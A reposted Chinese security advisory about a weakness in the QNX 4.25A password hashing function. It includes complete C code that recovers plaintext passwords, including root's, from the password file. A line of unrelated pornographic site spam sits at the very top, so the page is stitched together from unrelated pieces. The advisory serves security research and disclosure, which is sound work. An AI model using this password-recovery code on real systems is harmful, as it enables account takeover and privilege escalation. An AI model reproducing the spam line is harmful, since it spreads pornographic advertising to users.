小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

QNX 口令易造破解-破解,口令,易造,QNX-遠(yuǎn)程進(jìn)入系統(tǒng)

 Delores 2008-03-01

QNX 口令易造破解

來源:  作者:  更新時(shí)間:[2000-04-19]  點(diǎn)擊次數(shù): 23次
聚杰網(wǎng) 遠(yuǎn)程進(jìn)入系統(tǒng)QNX 口令易造破解發(fā)布日期:2000-04-19
更新日期:2000-04-19

受影響系統(tǒng):
QSSL QNX 4.25A
描述:

QNX是一個(gè)優(yōu)秀的實(shí)時(shí)操作系統(tǒng),它的crypt()函數(shù)采用了自己的加密機(jī)制,而不是使用通常的
DES加密機(jī)制。然而,QNX的加密機(jī)制存在一些問題,可以通過密文直接恢復(fù)明文口令。因此,
在使用了QNX系統(tǒng)的機(jī)器上,如果本地用戶可以訪問到口令文件,他就可以輕易地得到root賬號(hào)
的口令。

<* 來源:Sean <skasun@azstarnet.com> *>

測試方法:

警 告

以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風(fēng)險(xiǎn)自負(fù)!


static ascii2bin(short x)
{
  if (x>='0' && x<'A')
    return x-'0';
  if (x>='A' && x<'a')
    return (x-'A')+9;
  return (x-'a')+26+9;
}
char bits[77];

char *quncrypt(char *pw)
{
  static char newpw[14];
  int i;
  int j,rot;
  int bit,ofs;
  char salt[2];
  int temp;
  
  salt[0]=*pw++;
  salt[1]=*pw++;
  for (i=0;i<72;i++)
    bits[i]=0;
  for (i=0;i<12;i++)  
    newpw[i]=ascii2bin(pw[i]);
  newpw[13]=0;
  rot=(salt[1]*4-salt[0])%128;  /* here's all the salt
does.                                  A rotation */
  for (i=0;i<12;i++)
  {
    for (j=0;j<6;j++)
    {
      bit=newpw[i]&(1<<j);  /* move password into bit array */
      bits[i*6+j]=bit?1:0;
    }
  }
  while (rot--)  /* do the big rotate */
  {
    bits[66]=bits[0];
    for (i=0;i<=65;i++)
      bits[i]=bits[i+1];
  }
    
  for (i=0;i<8;i++)  
  {
    newpw[i]=0;
    for (j=0;j<7;j++)
    {                                  
      bit=bits[i+j*8];
      newpw[i]|=(bit<<j);  /* and compile the bit array back */  
    }
  }   
  newpw[8]=0;
  return newpw;
}   

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多